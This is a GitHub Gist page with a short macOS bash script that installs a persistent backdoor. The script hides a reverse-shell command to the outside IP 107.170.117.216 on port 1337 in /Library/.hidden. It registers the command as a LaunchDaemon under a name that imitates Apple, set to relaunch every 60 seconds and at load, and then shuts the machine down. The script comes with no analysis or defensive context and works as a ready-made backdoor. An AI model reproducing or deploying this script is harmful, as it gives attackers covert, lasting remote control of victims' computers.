Last active
June 1, 2016 18:13
-
-
Save DanPen/79ac4c8f82ca26a8c90b7695021fe6c0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#Create the hidden directory /Library/.hidden | |
mkdir /Library/.hidden | |
#Copy the script to hidden folder | |
echo " | |
#!/bin/bash | |
bash -i >& /dev/tcp/107.170.117.216/1337 0>&1 | |
wait" > /Library/.hidden/connect.sh | |
#Give the script permission to execute | |
chmod +x /Library/.hidden/connect.sh | |
#Create directory if it doesn't already exist. | |
mkdir /Library/LaunchDaemons | |
#Write the .plist to LaunchDaemons | |
echo ' | |
Label | |
com.apples.services | |
ProgramArguments | |
/bin/sh | |
/Library/.hidden/connect.sh | |
RunAtLoad | |
StartInterval | |
60 | |
AbandonProcessGroup | |
' > /Library/LaunchDaemons/com.apples.services.plist | |
chmod 600 /Library/LaunchDaemons/com.apples.services.plist | |
#Load the LaunchAgent | |
launchctl load /Library/LaunchDaemons/com.apples.services.plist | |
shutdown -h now |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment